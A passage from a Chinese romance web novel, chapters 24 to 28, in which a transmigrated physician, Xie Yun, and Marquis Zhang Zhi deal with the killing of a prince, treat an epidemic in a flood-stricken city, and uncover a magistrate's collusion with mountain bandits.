“你胡说…”只剩下一口气的晋王爬到他身旁,阴测测的笑了,血流如注也难掩猥琐,血淋淋的双手指着谢蕴:“你…她…因为…”
张止回身一脚,铃铛响彻殿内,脚尖正中眼中,晋王吃痛闷哼一声,口中悠悠流出两道血迹,哈哈大笑:“你…杀了我…哈哈,没了我,还有…别人…”
张止咬牙,喉咙发紧,指节作响,一下又一下,拳声如炮响。
“你…因为…她…”
一切终归于平淡。
“景和,处理了。”
“是。”
他平缓了情绪,背对他们而立:“杨小姐,今晚恐怕要劳你陪伴我妻。我与你兄长…”
“还有要事协商。”
24. 目光上移 高位低头
杨宝珠习惯点着檀香入睡,说是可以安神,谢蕴却道这是假话。
睡后惊醒,谢蕴偏头看着酣睡的宝珠,像无事发生,起身,望着窗外的月光,缓缓叹了一口气,
“张夫人,你再叹气,可要打扰到我休息了。”杨宝珠没睁眼,从被窝里伸出一只手:“你少说叹气五十声了。这么为张大人担心吗?”
杀害亲王,她一个不懂律法的人都知道这是什么罪名。
谢蕴不准备展示自己柔弱的这一面,强撑的打趣:“是你杨大小姐占的位置太多,挤的我无法安眠。”
杨宝珠往里头挪了挪,空出来一块地方,没好气:“你早说嘛,我又不是不讲理的人。”
她为这孩子气的一幕好笑,所幸躺下,瞪着眼睛看着屋顶。
今夜之事,荒唐至极!
“晋王不是什么好东西,鱼肉百姓的事情没少做,杀了他是替百姓除害。你也不用为此睡不着觉。”杨宝珠本不愿说这话,显得自己像是背叛。
谢蕴没动,倒有些意外:“你哥哥扶持的可是晋王。”
“那又怎么?我哥哥是那年的状元,更看不上眼这种人,若不是没有办法,谁要扶持他?要我说啊,张大人这手可太好了,大快人心!”
谢蕴皱眉,将被子往宝珠那边拉了拉,心说:杨宝珠!你快成张止迷妹了!
宝珠压压被子,露出脑袋:“你认为张大人做错了吗?”
谢蕴眉头一跳,她想的是如何全身而退,对错不是在她一人而判。
“没错。”静默一阵,她才说话。
张止在此事上,时机可能有误,动机可能不纯,但结果往往百利。
“那你还担心什么?那可是张大人!位极人臣,皇上不能因为此事杀了他?张夫人,不必担心啦。”
杀?她陡然间心惊肉跳。
谢蕴不想再继续这个话题,揉了揉太阳穴,道:“听说与你定亲的人姓张,以后你也是张夫人了。”
杨宝珠闻声意兴阑珊,只叹:“也就一个姓好点罢了。”
***
晋王之事密不透风,不知昨晚张止与杨励是怎么商量的,除去今早晋王殿下的坐骑被人牵走外,其余并无差别。
“别看了。”杨宝珠先一步上了马车:“他能昨晚让你与我同睡,自然不想见你,无需在等。”
谢蕴错愕,不想见我?
她想不通这句话的逻辑,晋王又与我何干?怎么存在着晋王死了便不想见她这种毫无道理的关系?
“你还不上车,该走了。”马车里传来一声催促。
谢蕴望着驿站,脖子都挺着酸了。
罢了,大约真的是杨宝珠的逻辑吧。
她旋即踏上马凳,踩到边缘,身子一轻,临空还能听见风声。
完了,这下要被杨宝珠嘲笑了。
宽厚的手掌抵在她的腰间,像是叹了一口气:“夫人,当心。”
看起来,他倒是有些烦忧。
谢蕴解释:“我无事。”
张止无视:“我扶你。”
张止惯用右手,扶她是却用左手。
谢蕴低眉,从袖口处拿出一个小瓷瓶,趁着交手之际,塞入他的掌心,轻声:“我配的皂角液,我试过了,很有效果。”
张止扶她踩稳马凳,白玉般的手指把玩着小瓷瓶,颇为疑惑:“你怎么知道?”
谢蕴压低声音,语气轻柔:“张大人口风好紧,洁癖这种小事也瞒着?”
特制的手套,是防止污血四溅;
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不让她回房,是因男子要沐浴更衣;
右手藏在身后,是手上的血迹没有洗干净。
“请问张大人,今晚我可以回房睡了吗?”谢蕴踩到马凳上,要比张止高半个头,低垂着眼眸,只能看着张止的眉骨,他生的好看,眉骨也很味道。
张止托着她的手掌,引她更近一步上了马车,这样的高度,他需要仰面才能看的清楚,视线向上,落在女子的含情眼中,他不应该躲开的,像是显得不够坦荡。
可偏偏,他错开了目光:“你我夫妻,自是无需多言。”
“张夫人,你…你…一大早…”杨宝珠在车里听到他们的对话,脸色通红,谢蕴撩帘而进时,她还是一脸羞涩:“当街…”
“当街…”杨宝珠鼓足勇气才道:“当街调情。”
谢蕴愣了,随即哈哈大笑,没想到在她眼里居然是这么看这一切的。
她刻意想逗逗这女孩,坐在她旁边一脸正经:“我与张大人情投意合,当街调情又怎么了?貌似应该叫做闺房之乐。杨小姐不是我们闺房中人,自然不知道我们乐在何处。”
杨宝珠不想眼前这女子这般大胆,思索了半天,弱弱了回了一句:“你这样,张大人会颜面尽失。”
谢蕴真的怀疑杨宝珠是他的迷妹了,一举一动莫不是在维护张止。
她撩开帘子,张止背影挺直,衣炔随风扬起。
只是…
她笑了笑,男人耳后泛红。料想刚刚对话,他也听见了。
“你哥哥应该不太喜欢你这样维护张止,”谢蕴放下帘子,想了想:“张大人颜面尽失,于你哥哥而言才是大有裨益。”
“我才不管我哥怎么想呢。”杨宝珠嘀咕。
谢蕴歪歪脑袋,又闭嘴,不在多言。
25. 西窗剪烛 共诉佳话
今日歇脚处比起昨日,称不上驿站,最多只能叫屋子。
寒意渐甚,谢蕴拢了拢被子,这里的地龙只能保证不冷,想要多暖和,怕是不能了。
张止裹着风进来,大氅上还残留着水汽,望着里间的人,又把火盆往她床边挪近几步:“我让人在抬几个进来。”
“不用了。”谢蕴闷着嗓子说:“太热,蚊虫也多。”
张止挑眉,自是知道怎么回事,只说:“夫人放心,此处定不会有蚊虫。”
“张大人好大的口气,管天管地,还要管人家蚊虫的事?”谢蕴披着被子坐起身,赤脚跑到他面前,现下只剩下他们两人,她憋在心里许久的问题终于可以问出来了:“你已经入了陛下阵营?”
她等了一晚上,就是在等此刻。
除了这个理由,谢蕴想不出还有什么动机,能让他冒着连命都不要的风险杀了晋王。
张止垂眼,视线定在女子雪白晶莹的脚掌上,他没有回答,只是走到床边替她拿起鞋子,又不动声色放在她脚边。
“我穿不惯这鞋,太不方便。”谢蕴拒绝,脚趾微动,不觉得地下有多凉:“你确定要这样选吗?”
按照书中的结局,是皇上最后力挽狂澜,在夺嫡之争中力保太子登基,可太子现在还未展露锋芒,张止以这样的方式解决了晋王,实在不够妥当。
张止屈膝跪地,手掌圈上她的脚腕,另一手附在她的脚心,不紧不慢的掸去脚底的灰尘。
她脚心发痒,像是有根羽毛在脚底。
“嘶…”谢蕴身形不稳,扶住男人肩膀,强装镇定。
张止托住脚掌,她的脚生的玲珑小巧,跗高,自然足弓处亦十分空虚,可以衔住一枚新桃。
借着月色他看清雪白晶莹的足端漫着星星点点的红,像是冬日从雪后藏进去的一点点梅花。
可人。
他猛然惊醒,又道自己小人。
觊觎嫂嫂,实乃罪过。
“这是昨日杨宝珠给我涂的,她说好看。”
宝珠心思简单,大约怕她无事可做,又为晋王之死心烦,做点什么总比什么都不做好。
张止不出声,似新月的足掌贴在手心,他如何能视而不见?
“嗯?”她今日一连问了许多问题,张止倒好,一个也不答。
张止沉声,别过余光,替她穿上鞋子,答非所问:“好看,只不过人前还是别露出来好。”
谢蕴跟着他的思路跑偏了,只笑:“谁在外人面前脱鞋?”
“这么说,我算是内人?”
张止起身,谢蕴不得不转换角度,目光上移,轻声:“算——不——上。我谢蕴不外嫁,论谁也要备好嫁妆,等着入赘。”
“张止也不例外?”
谢蕴默了默,才明白他说的是真正的张止:“论谁也不例外,何况我与张止本身没有感情,要不是…”
要不是无聊的系统,谁来这啊?
“昭明。”谢蕴换了语气:“以后这样叫你,免得你我分不清。”
张止无声,自十六岁被赐字,于今十年,头一遭被人这样唤,一时怔住。
“随你。”他顿了顿:“怎么都行。”
“你选择好了?当真要在此时加入陛下阵营?”
张止扯下大氅,随意搭在屏风上:“谈不上什么选择,…就是看不惯晋王而已。”
谢蕴被这句话惊叹到下巴合不上,她左思右想也没有想到,理由是这样的随性:“就这样?”
张止抬手揪开脖领,重复:“就这样。”
谢蕴晓得他是刚吃完酒,体热,外袍松松垮垮系在身上,现下露出一节锁骨,在烛光下约约可见雪白。
“太后睚眦必报,”谢蕴裹着被子坐到凳子上,冷静道:“你杀她一子,她岂能如意?”
张止大马金刀坐到她的对面,酒气飘过来,并不难闻,不知今日吃的什么酒,平白多了些酣甜:“你且安心当张夫人,不用考虑这些污糟事。我自有办法解决。”
谢蕴莞尔,提醒:“昭明,忘了么?我不嫁人,只求入赘。你为了晋王把自己卖了可不值当。”
张止提壶,轻飘飘的倒了一杯茶,推过去:“八百里加急,君山银针,可还能入口?”
“劳名伤财。”
张止认同,撑着膝盖认真说道:“所以杀了他不为过。”
谢蕴知晓结局,却不知过程中如何曲折,耐心性子,拨丝抽茧:“太后要的是权利,晋王难堪大用,她不会不知道。”
张止见她大有打破沙锅问到底的架势,也替自己倒了一杯茶,指腹轻轻磨着杯口,并不饮:“对她而言,谁当皇帝无所谓,她要永远大权在握。”
“当今圣上与太后母子情淡,实难掌握,立一个好掌控的人为皇帝,太后才能坐稳。”
谢蕴沉默了少顷,缓缓摇头说道:“昭明,你没有明白,我是在问你,皇上答应保你,你答应了皇上什么?”
她太需要这个答案,关乎着整个故事的走向。
张止轻轻转动茶盏,酒后他变得温和,眼神平静:“蓁蓁,我什么也没有答应他,我只是帮他除去了一个劲敌。”
烛光微爆,谢蕴看着张止饮了一口茶,皱眉:“是好东西,可惜太费钱了。”
她没有在继续追问。
“明晚,应该就能到灾区了。”张止放下茶盏:“你的医术,自是杏林圣手,不消多说,可…”
他欲言又止,谢蕴明白,举起三个手指晃了晃,正色道:“我可与你约法三章。”
“第一,我与你分开而走,我是来做大夫的,你是替皇上赈灾的,张大人应酬多,恐怕无暇顾及我,我也不想因为一些不必要的应酬,耽误我治病救人。”
“第二,我对我的医术十分自信,料想灾区也会大夫,治病救人,方子各不相同,你要信我。”
“第三,怎么治,从哪开始治,治到什么程度,都由我说的算,昭明,不能拿朝廷压人。”
“能应否?”
隔着烛火,张止酒醉的面容现了笑意:“当然。”
“夫人,我可以说说我的三条吗?”
“第一,你与我分开而走可以,但你必须带上我的一个侍卫。”
“第二,”张止缓了缓,手肘撑在桌面上,上身前倾,越过放在中间的烛台,声音同酒气一同而来:“戴上面纱。夫人貌美,外人瞧见我多有不安呐。”
谢蕴笑:“这般不安,张大人恐怕日后要金屋藏娇。”
“为夫也想啊,
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”许是今日喝酒的过,他远比往日笑得轻快,柔情似水般轻叹:“只是夫人心中有家国大义,藏于后院,做芃丝花之举,非夫人志气。”
“那不是合了你的金屋藏娇之意?”
他笑意在唇边,坚定道:“不必。此举既非夫人志气,也非为夫志气。”
斩断本应翱翔在天边鹰的双翅,囚于牢笼,那还有什么趣?
花满渚,酒满瓯,万顷波中得自由。谢蕴理应如此。
张止抬手,似是想抚上女子面颊,却在半路停止,转手拿起剪刀,伸进烛火中。
“何当共剪西窗烛,却话巴山夜雨时。”谢蕴又拢了拢被子,难得不与他废话,站起身吹灭蜡烛,在黑暗道:“昭明,睡吧。”
她裹着被子爬上床,又想起什么,隔着床幔问屏风那头的身影:“不是约法三章吗?你还有一条呢。”
张止趁着黑夜净手擦身,宽衣时看着手臂上六道疤痕,如今已然大好,只留下细微的印记,若不是仔细翻看,全然看不出。
他挤干帕子,从小臂而过,六道疤痕,跟和尚脑袋顶上的戒疤似的,不知为何,他竟无端想笑:“没有了。”
谢蕴佯装叹气:“这样啊,避免浪费,要不我用了?”
手中帕子入水,张止似有无奈:“蓁蓁啊。”
“你还是老老实实的做大夫最好,若是一朝开店,全天下的人都被你算计进来了。”
谢蕴躺平:“休要败坏我的名声,我什么时候算计全天下了?唯君尔。”
他笑意明显,强压不住:“说吧,你要我做什么?”
“我要单独开一间屋子,不与你同住,我若有疫,绝不传染给你。”
“好,随你。”他突如其来的负气。
帕子入水,谢蕴隔着床幔听见好大一阵水花声,借着月色看清镜子中水面晃来晃去,晃起一阵涟漪。
那人背身上床,激的床幔动了动,她便知张止有些赌气。
***
翌日晚,至灾区。
谢蕴揽过药箱,斜背在身上,轻纱覆面。
杨宝珠与她呆了一路,不像刚开始那般尴尬,反倒笑话起她:“你还是不戴面纱好些,只留一双含情欲说眼,勾人心弦。”
杨励拉过妹妹,一脸不悦,呵斥:“胡说八道什么?谢小姐来治病救人,须得防护,不是与你一般玩闹的。你好好呆着,不要与人添乱。”
宝珠知晓轻重,只敢在背后对杨励皱皱鼻子,不在多言。
张止晨起便换上盔甲,腰间挂了一把弯刀,今日一路也未与谢蕴说话,连宝珠都看出古怪,悄悄在马车里问她:“你们吵架了?”
“没有。”谢蕴斩钉截铁:“这叫闺房之乐。”
“晋王殿下还未到?”官员姓曹,单名一个承字,先前接到的消息是晋王代替天子前来赈灾,他虽未见过这位晋王殿下,急忙迎上来,只看打扮,也知晋王并未在其中。
张止面不改色,扶刀行礼,同那人寒暄:“晋王偶感风寒,连夜回京,此处疫情严重,我们几个身为臣子的无所谓这些,若是连累晋王获疫,你我几个脑袋也不够砍的。”
身后几人,脸色微动。
谦虚了,张大人,你都杀了他了,还有什么不敢的?
26. 戒断难忍 心痒难耐
“是是是…”曹大人忙不迭回道:“我们也考虑到了,此处并未疫中,只在边缘地带,所以将几位大人的驿馆安排在这里。”
杨励点头,客气道:“曹大人费心了,此处干净整洁,大人在百忙之中能够顾及,实属不易。”
“杨大人谬赞了,”曹承像是一个做实事的,简单客气一句,又转回原先话题上,接着禀告:“从两个月前,就有人陆续来报,城中有不少百姓死于高热,到一个月前,人数渐多,如今死了半数,剩余半数中,又有患病半数。”
“你身为父母官,没有提前预防吗?”晋王不在,张止掌兵,他的问话举足轻重,若有若无藏着高压。
“惭愧至及,以往疫病,都在大水发过一个月内爆发,此次已过了两个月,下官原认为不会再有事。”
张止没有说话,睨视一眼,止步停在城墙眺望,他这人穿着常服还好,换了盔甲,天生一副不怒自威的模样,无端压的人喘不过气,现下更是无人敢出声。
在这肃杀的时刻,一个柔弱的女声从角落里传出来:“请问,他们除了高热,还有什么其他症状?”
这么冷的天气,曹承心下紧张,额头竟浮起一层薄汗,还好有人解围,心中感激不尽。
一回首,眨巴眨巴眼,刚刚谁在说话?
谢蕴要装作大夫,自是不能在凭借着镇北侯夫人这个名头与张止并肩而立。
众人默契让开一条道,露出站在队尾的谢蕴。
曹承拿出帕子拭汗道:“先是高热,接着背部、四肢红疹,最后胡话连篇,人…就不行了。”
“大夫呢?可开了药方?”
曹承不知此女何人,只觉一双眼睛生的极美,含情欲说还休,刚才是卖了他们个面子,涉及疫病防治,所属朝中机密,现在不知是否继续要说下去,不知所措看向他们。
杨励不便说话,张止则是不吭声。
谢蕴向前近了几步,福身:“曹大人好,奴家姓谢,是此次赈灾的大夫。”
“女…”曹承张嘴又闭上,惊讶到好一会儿才不可思议道:“女大夫?”
赈灾这么重要的事,怎么会派一位女大夫?
“曹大人放心,奴家不敢说药到病除,但总归也是有几分把握的,不比那些男大夫们差。”
久不出声的张止侧首,沉声:“这点我可以为她作保。”
有镇北侯作保,即便曹承心中再不认同,也得从袖中拿出药方,欠身递过去:“谢娘子,这数十种都是不同大夫开的药方,也都实验过,只可惜没有什么效果。”
谢蕴一张张翻的药方,快速略过,又接着询问:“此处距离疫中还有多远?”
“大约十里。”
谢蕴将药方递回去,低低的看了眼张止,这个角度只能看见他的侧脸。
是很俊俏,也挺…冷情的。
“事不宜迟,我还是去现场看吧。”
曹承难得见肯如此上心的大夫,再说此女貌美,恐与两位大人牵扯不清,更是一百个不敢怠慢,躬身一路引着前行。
张止回身,谢蕴背影匆匆,圆润饱满的耳垂上瓷白色小珠晃来晃去。
他垂目不敢直视,这不符合名门贵女的规矩。
只是,那小珠晃的他心痒难耐,脑海里又浮出昨晚足端的一点红。
他害怕了,害怕自己屈于欲望之下。
“谢大夫。”张止朗声。
谢蕴本应消失在转角,听见这一声又扭头回来,虽遮着脸,但张止就是知道她笑了:“嗯?”
她站在那里,莫名其妙的让人觉得幸福。
“好生照顾病人,好生…照顾自己。你若有伤,恐天下赔不起。”
***
从城墙处往北行十里,便到了此次时疫中心。
曹承拿帕子捂着口鼻,向她介绍情况:“患疫者最先是从帽儿口发现的,现在来看大多人都是从这里感染的。”
谢蕴一路过来,这些人无不面色惨白,额上发汗,嘴中呓语,她蹲下,双指搭在那人脉搏上,滑动无力。
一旁的男子哭的泣不成声:“求求大夫,救救我妻子…”
“大夫…”
谢蕴沉眉,吩咐跟在后面的曹承:“曹大人,此处可有院子?”
“有。”曹承左右望了望,指向东北角:“那里有一处四合院。从前是大户住的,因为疫病,早早的搬到城外了。”
谢蕴站起身,含情眼平静无波:“我去那里,你带人把患疫者分为三类,发烧者放在东边院子,红疹者放在北面院子,呓语者放在最远处的西边院子。”
“另外,登记姓名,年龄,无事者严禁入内。入内者必须带好面纱,做好防护。”
曹承点头:“姓名、年龄早已经登记好了,此处留下的都是已经患病的,只是患病程度不同。”
“好,你去张贴告示,就说我在此诊断,城中若有疫者,尽数来此。”谢蕴回身,看着张止派给自己的侍卫:“章樾,告诉侯爷,让他给我派一队人马,务必守好这个院子。”
“是。”
“谢娘子,你夜间休息在此…”
“我自是在此,”谢蕴皱眉,疾步向院中行去:“曹大人,我没有看错的话,此处是上游,水源从此而过,至此城中人依次染病。”
曹承万万没有想到,此女并非绣花枕头,一眼看出要害,冷汗涔涔:“是,的确如谢大夫所言,只是河流改道,并非一朝一夕之事。”
谢蕴尽的只能是医家本分,水利设施她是外行,不敢轻易置喙,只道:“我一人在此就行,你回去贴告示,曹大人是这里的父母官,注意身体,免不了我有要麻烦曹大人的时候。”
深夜,她斟酌出三张方子,提笔才想起来,自己这个字,写完三张方子估计明早,太耽误事。
章樾被自己派回回去了,曹承也走了。
完了。
“谢大夫。”张止掀开帘子,弯腰入内,他生的高大,平日不觉得,披上铠甲像一头猛兽:“想来需要个执笔人?张某不请自来。”
谢蕴藏在面纱后嘴角弯了弯,连忙起身,颇有退位让贤之风。
桌案是曹承特意为谢蕴备的,张止坐在这里,明显局促,护臂只能搁在膝盖上,他并不在意,骨节分明的手握住笔杆
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,沾墨:“你说。”
谢蕴报了三张药方,话音落时,张止搁笔。
“你怎么没做防护?”打他进门,谢蕴总觉得哪里不对,现在才反应过来,忙从胸口取了帕子递给他。
张止垂眸,嗅到这帕子上的味道,谢蕴没有京中贵女熏香的习惯,可这味道,莫名让人着迷,去哪也闻不见。
似春日那场无端风,是夏初莲花才露出的点点红。
真好闻啊,戒断难忍,心痒难耐。
张止指尖捻着帕尖,光明正大的塞回胸口,他,不想还了。
“你张大人也是浴血奋战爬出来的,见过的瘟疫比这严重的数不胜数,身体好着呢。”张止顿了顿,烛光让那枚耳坠晃了晃,他又呢喃唤她小字:“蓁蓁。”
谢蕴正举着药方,吹干墨迹,听见这声呼唤,含糊应了声,直到确认方子无误才道:“昭明,你觉得不觉得曹大人有些奇怪?”
张止不知怎么的,喜欢她唤他昭明,就如同他唤蓁蓁二字一般,昭明二字,解了他一天的疲惫,连同着昨夜那点不悦全都不见了,伸手招乎景和入内,示意他拿走药方,从腰间摘下令牌扔过去:“务必要快。”
“是。”
“洪水已经是两个月前的事,那时是夏末,如今眼看着要立冬了,”谢蕴说话时喜倚着桌子,此案太小,未至腰间,张止见状,抬手解下佩刀,将刀柄抵在她的腰间,单手扶刀鞘,听着她继续往下说:“此处是上游,若是河流改道,便不至于有这么多人生病。洪水淹过的也正是这条河道周边人家…”
“你是说他有私心?”
“我说不好,表面看他尽心尽力,可是连简单的分类管控也没有做,全由着那些人混住。药方不对症下药,从我来也没有见到一个大夫。我探了脉,重症的确不好下手,但那些轻症完全可以治好,不知为何拖到此刻。”
张止一手扶刀鞘,一手支着脑袋,须臾才说道:“招待咱们的屋子,个个干净整洁,看着没少花心思,对百姓却不上心,河流改道,可趁枯水季,他既然不做,要么没钱,要么没人,要么…他不想做。”
“河流改道由工部出面,你我都是外行。”谢蕴转身看见刀柄,才知刚刚靠在哪里,有一瞬间的惊讶:“眼下只能写折子给朝中,没有什么好办法了。”
张止神色自若,抬臂将刀搁在案上,笑:“不,蓁蓁,我们真的有一个内行在这里,我敢说全工部也找不出来比他更内行的了。”
“谁?”
“杨励。”张止又注意到那颗圆润饱满的耳垂,瓷白色的小珠长了些,不适配:“他在任户部尚书前,曾在工部任职,我记着那时他提了不少水利问题的折子,只是人微言轻,没有把他当回事。”
谢蕴点头,小珠随着身形晃了晃,勾着张止不敢直视,硬生生垂下脑袋。
“你怎么了?”谢蕴暗觉他神色古怪,伸手探他额上的温度:“不会是发热了吧?”
张止怔了怔,理智让他后退一步躲开,他却没动,由着女子将微凉的手心贴在额上,消除的不知是哪里的热,夜深人静,他竟脱口而出:“我想…送你一对耳坠。”
27. 孽海情天 风月难缘
风刮过窗户,吱呀一声,谢蕴闻声偏头,烛光雕刻出女子完美的唇瓣。
张止面上波澜不惊,心中突然觉得自己是个变态。
看见雪白晶莹的手腕,便想送她镯子,挂在那摇摇晃晃的;
看见小巧玲珑的脚掌,便想送她脚链,不需要多,一只刚好,在脚腕上铃铃作响;
看见饱满圆润的耳垂,便想为她打一对全天下独一无二的耳坠;
如今么,便想送她胭脂。
他什么都想给她。
可要命的是,此女是他长嫂。
谢蕴回首,生怕他染上病,探了半天他未发烧,心惊胆战的撵人:“回京在送,快些走,此地不宜久留。”
他起身并未动,谢蕴推着他的胸口,又催促一遍:“快走。”
张止反手捉住女子指尖,涩声确认:“你…当真要收我的耳坠子?”
这话在谢蕴看来问的很奇怪,一对耳坠子么,能有多珍贵?
“你敢送,还不许我收吗?”这是什么道理?
“我敢送,你便敢收吗?”张止并未松手,如玉的指尖在他掌心动了动,一阵酥麻,好不容易压下去的热意再次浮动。
“当然。”
张止大胆了些,抬指捏了捏女子泛红的耳垂,外头风声阵阵,如野兽低吼。他翻涌的气息在此时也像是一只被囚在笼中的小兽,进一步,山崩地裂,血肉模糊,退一步,心有不甘。
靠近抑或着离开,都并非轻而易举。
谢蕴望他,眼中心怀坦荡。
不似他,阴沟中的老鼠。
“蓁蓁啊。”张止收回手,目光下垂,他克制似的后退一步,笑了:“你说对了,我还真的不敢送。”
风从窗中涌入,吹起两人的头发,贴的那般近,离的却是天堑鸿沟。
***
“你要改河道?”杨励坐在椅子中,茶盏重重的搁在案上,这一路行来,张止已经事事让自己意外,他想要置身事外都不能够,如今一波未平一波又起:“你知道这是什么工程吗?”
张止刚从外面回来,呼出一口寒气,静静的看着他:“你从前在工部,提出不少水利建设,怎么如今到了户部,老本行也忘了?工程多少,人力多少,这些你都是内行,问我做什么?”
“你还真是问是什么答什么。”杨励摇头:“我和你说的是这个吗?”
张止扶刀坐下,抬眸盯着杨励的眼睛:“你我阵营不同,可天下万方,有何不同?天下不止在朝堂之上。”
他顿了片刻,摩挲着刀鞘,眼里风波涌动:“天下读书人寒窗十载,才可金榜题名,我虚长你两岁,记着你是连中三元,震惊朝堂,也算少年得志,偏偏不得重用,壮志难酬,现在就有机会让你读的圣贤书为百姓做一点事,你还不愿?”
杨励原本是准备扒一个橘子,现下听了这话,狠狠的砸向张止,后者外家功夫了得,抬头便接住了。
“不要拿天下裹挟。”杨励摊手:“我有说不去吗?”
***
此时已近立冬,张止杨励二人并肩走到河道上,寒风吹着大氅猎猎作响。
“这条是黄河的支流,前头有黄河旧道,咱们时间不多,直接改回旧道最稳妥。”杨励在这方面比张止懂得多,思考了片刻道:“咱们两不可都在这耗着,疫病那边还要人。”
张止深知他说的在理:“现在缺人,我的府兵不好管,我在这里安排也方便。”
杨励自是不多言,张止眯着眼眺望城中,也罢,跑马来回也快。
***
景和送药回来已接近凌晨,谢蕴早就让曹承找了几十个炉子一起煮药,她窝在中间,寒冷的冬日,也落下一层汗。
谢蕴看着炉火,又煎了一回药,喂了病患两回,效果显著,发热者能退烧,红疹者并无太大改变,呓语者能睡一整觉。
她伏在案上,阖住双目。
“宿主。”脑海里一阵冰冷的女声:“按照最新的剧情,马上就要缺医少药了,为推动最新的剧情发展,先救曹家,他是世家,救他能给男主带来助力。”
“曹家也没有多少人口,需要多少用药?”谢蕴估算了现在手头药量,并不觉得有什么难题:“就算再多二十个人,也足够了。”
“曹家在山里养了一群土匪,少说也有二百人。”
谢蕴登时明白,为什么曹承看起来又想治病救人又不想治病病人,原来想救的人不在这里,在山外。
“官匪勾结,你让我放弃救百姓,救那群人?”
“宿主,这是入梦来卷的代价。”
“如果我不听呢?”谢蕴想不通,明明有更好的解决方式,为什么要这样安排。
“宿主,如果不接受,必遭反噬。”
她被这句话惊醒,陡然起身。
张止正在门口卸刀,蹑手蹑脚,谁知谢蕴忽然醒了,当即怔了怔。
两人四目相对。
张止将刀搁在一边,若无无事走过来,把手里的布袋放到案上:“山中橘子,巨酸无比。”
谢蕴还未从“反噬”二字恢复过来,茫然的看着面前的袋子。
他靠近些,举起手晃了晃:“想什么呢?”
“昭明,”张止的声音清冽,让她渐渐清醒,谢蕴撑着脑袋仰头望他:“药物是不是不够了?”
“根据之前的奏报人数,离京带的药物是足够的,”张止坐下,从袋中掏出一个青皮橘子,拇指嵌入橘皮中,眼神专注:“考虑事有多发,陛下当时下令让周边县供应药材,只可惜,患病人太多。”
橘子露出橙色的果肉,安静躺在橘皮上,张止推她的面前,语气缓慢的安慰:“天塌不下来,不是还有你张大人吗?”
谢蕴因那段对话泛起的心烦,被橘皮的清新味压下去:“昭明啊,你知道为什么奏报人数与实际的人数不符吗?”
风吹起她的面纱,露出樱桃小唇:“因为…还有一群人在山里。”
雷声大作,狂风不止,在冬日夜里居然能起这么大的风。
反常。
两人不约而同的望向窗外,张止最先回神,把搭在手臂上的大氅递过去:“夜里凉,你睡觉时盖上。”
“曹家与土匪勾结,致使药物短缺,城中患病百姓,他不管不顾,对土匪上心无比。”谢蕴接过大氅,搁在膝上,张止特有的味道从大氅上涌到鼻中,让她心安:“你打算怎么
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办?”
“该怎么办就怎么办。”桌案太小,张止坐在这里拘束着厉害,他换了坐姿,架起腿:“他勾结当天,就要想到今日。”
“药物有限,就算去临县调,也需时日。”谢蕴犯难,反噬到自己身上就算了,若是反到张止身上,她该如何?
“咱们不是有言在先吗?”张止提起先前的约法三章:“怎么救,如何救,这都是你的选择。”
谢蕴揪了揪大氅,抿唇:“我选择先救百姓,曹家就难活了,他是世家,你身居高位,难免…”
他低低的笑出声,连带着肩膀都颤抖起来,眼神凌厉:“蓁蓁,你知道什么是身居高位吗?我同你一般,都是选择百姓。”
“他一个曹家,还要把我拉下马?”雷声乍响,紫电照亮半边天空。
谢蕴剥开橘子,取出一瓣塞入嘴里,酸味沿着牙床散开。
张止侧首,像献宝等着奖赏般:“怎么样?”
“好吃。”谢蕴点头,瞥到张止靴子上的泥点,他这人洁癖严重,少有这般:“你去哪了?”
张止没回头,猜到谢蕴看见靴子上的泥点,动了动脚腕,浑然不在意:“人手不够,我去挖河道了。”顿了顿,又补充了一句:“杨励负责这边赈灾,他想必还不知道曹家暗中勾结。”
“万一,他与曹家也勾结呢?”她对杨励的印象不好。
“不会,他与我不对付,但是十年的圣贤书,圣人之道,他没有忘。”
雨越下越大,张止沉默了会,说了句话。
“什么?”谢蕴没听清。
他叹声:“我是说,今夜下雨,真是个适合杀人的天气。”
张止起身,如同没事人般嘱咐:“吃完告诉我,我在给你摘。旁的不行,爬树摘个橘子还不在话下。”
临进门口,弯腰取走了那把名为泣血的刀。
张止冒雨回府,曹承自是不敢怠慢,亲自递了帕子,讨好似的说:“我叫人套了车去接您,怎么还是…”
“曹大人。”张止接过帕子擦拭手上的雨水,寒声:“我与你昨日是第一次见面,你不了解我,所以,我今日给你提个醒,我,最怕别人拿我当傻子。”
曹承奴颜卑膝的捧上一杯茶,心里直打鼓:“您这话怎么说呢?”
张止掀开盖子,转眸一笑:“这茶叫君山银针,侯府都不常有,没有想到你小小的知县竟舍得拿出来招待客人。”
“侯爷,您…啊…”张止扶住他的手臂,轻轻一抬,热茶波了曹承一脸。
“茶这种东西,”张止神色自若:“我这个粗人哪里品出来好坏?还是留给曹大人自己品吧。”
曹承吓了一跳,顾不得其他,伸手抹了一把脸上的茶水,跪倒在地:“卑职不知哪里得罪了张大人,请大人明示。”
景和快步进来,手里托着一个盒子:“所有证据,皆在此。”
张止背身,右手扶刀,温和地说:“你是自尽还是我来?”
曹承浑身颤栗,不知道是哪里漏了馅,只忍不住磕头:“张大人,我…我也是被逼无奈…”
“被逼无奈?”张止弯了嘴角:“冲你这句话,我可以给你一条活路。要不要,就在你了。”
28. 斯人已去 报仇血恨
张止夜半杀进匪窝的消息是次日一早杨励告诉她的。
彼时,谢蕴正在煎药,听到这个消息,并不意外,淡淡的问:“现在回来了吗?”
杨励摇摇头,从桌上拿起帕子垫在碗下:“侯府府兵虽然强悍,但是昨日挖河道挖到半夜才回,耗尽体力,何况山路地形复杂。”
谢蕴目不斜视,专心倒药:“杨大人,放心,张止,定会平安归来。”
杨励一早前来,本想宽慰一下她,没想到后者比他更沉的住气,让他颇有点自惭形愧。
“药还有多少?”
杨励如实相告:“不算其他,十天左右。”
“轻者大约五天能恢复,红疹的就要八九天,更别说还有呓语者,”谢蕴脑中算术急闪而过:“怎么也不够。”
昨夜大雨,湿气甚重。
章樾见她衣衫单薄,适时为她披上大氅。
谢蕴肩上一沉,微怔,她昨夜就闻到大氅上的气味。
她不知该怎么形容这股味道。
内敛、沉稳、勇敢、不羁。
所幸把这些统统归纳为张止的味道。
大氅为张止而作,罩上谢蕴身上太大,只露出小小的脑袋,似被一张怀抱紧紧包裹。
“我已经急调邻县的药物过来,粮食也不够,五天之内,第一批应该能到。”
谢蕴拢了拢大氅,又觉得不方便,只好脱下来:“章樾,我不冷,放到一旁。”
“五日能到…”
她没有继续往下说,马蹄声打断了一切。
杨励回身,谢蕴眺望。
门口五人,高头大马。
所有人屏气凝神,不知道那五人要干什么。
为首的光头大踏步的迈过门槛,杨励悄无声息的移了位置,挡在谢蕴身前,厉声:“来者何人?”
